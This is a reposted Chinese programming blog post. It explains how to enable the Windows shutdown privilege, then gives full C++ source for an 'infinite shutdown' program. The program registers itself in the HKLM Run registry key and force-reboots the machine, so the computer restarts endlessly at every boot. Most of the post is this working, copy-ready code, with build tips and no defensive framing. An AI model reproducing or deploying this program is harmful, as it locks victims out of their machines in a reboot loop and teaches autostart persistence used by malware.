C/C++无限关机(提权例子)
生活随笔
收集整理的這篇文章主要介紹了
C/C++无限关机(提权例子)
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
在windows系統(tǒng)中,當(dāng)涉及本進(jìn)程去操作其他進(jìn)程,或者要用shutdown這些高危命令的時(shí)候就涉及提權(quán),下面是MSDN的列子
提權(quán)三兄弟
OpenProcessToken
LookupPrivilegevalue
AdjustTokenPrivileges
我們用下面這個(gè)MSDN的代碼來做一個(gè)注冊表無限關(guān)機(jī)的列子
#include <windows.h>#pragma comment(lib, "user32.lib") #pragma comment(lib, "advapi32.lib")BOOL MySystemShutdown() {HANDLE hToken; TOKEN_PRIVILEGES tkp; // Get a token for this process. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return( FALSE ); // Get the LUID for the shutdown privilege. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; // one privilege to set tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Get the shutdown privilege for this process. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0); if (GetLastError() != ERROR_SUCCESS) return FALSE; // Shut down the system and force all applications to close. if (!ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, SHTDN_REASON_MAJOR_OPERATINGSYSTEM |SHTDN_REASON_MINOR_UPGRADE |SHTDN_REASON_FLAG_PLANNED)) return FALSE; //shutdown was successfulreturn TRUE; }上面是MSDN的代碼,下面給出無限關(guān)機(jī)的代碼(含詳細(xì)注釋)
// shutdownDemo.cpp : 定義控制臺應(yīng)用程序的入口點(diǎn)。 //#include "stdafx.h" #include <windows.h>BOOL MySystemShutdown() {HANDLE hToken; //用于操作的句柄TOKEN_PRIVILEGES tkp; //用于存放特定信息// Get a token for this process. if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))return(FALSE);// Get the LUID for the shutdown privilege. //如果要提權(quán)的話要在下面這兩個(gè)函數(shù)提權(quán)LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);tkp.PrivilegeCount = 1; // one privilege to set tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;// Get the shutdown privilege for this process. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);if (GetLastError() != ERROR_SUCCESS)return FALSE;// Shut down the system and force all applications to close. if (!ExitWindowsEx(EWX_REBOOT| EWX_FORCE,SHTDN_REASON_MAJOR_OPERATINGSYSTEM |SHTDN_REASON_MINOR_UPGRADE |SHTDN_REASON_FLAG_PLANNED))return FALSE;//shutdown was successfulreturn TRUE; }int _tmain(int argc, _TCHAR* argv[]) {getchar();HKEY hKey = { 0 };/*LONG RegOpenKeyEx(HKEY hKey, // 需要打開的主鍵的名稱LPCTSTR lpSubKey, //需要打開的子鍵的名稱DWORD ulOptions, // 保留,設(shè)為0REGSAM samDesired, // 安全訪問標(biāo)記,也就是權(quán)限PHKEY phkResult // 得到的將要打開鍵的句柄)*/RegOpenKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&hKey); //打開一個(gè)指定的注冊表鍵char path[MAX_PATH] = { 0 };GetModuleFileNameA(nullptr, path, MAX_PATH); //獲取當(dāng)前文件路徑RegSetValueEx(hKey, "ShutDown", 0, REG_SZ, (byte*)path, strlen(path));MySystemShutdown();return 0; }如果出現(xiàn)下面問題
請修改字符集如下
下面看看運(yùn)行結(jié)果!
總結(jié)
以上是生活随笔為你收集整理的C/C++无限关机(提权例子)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 马踏棋盘算法(骑士周游问题)
- 下一篇: C/C++ OpenCV均值滤波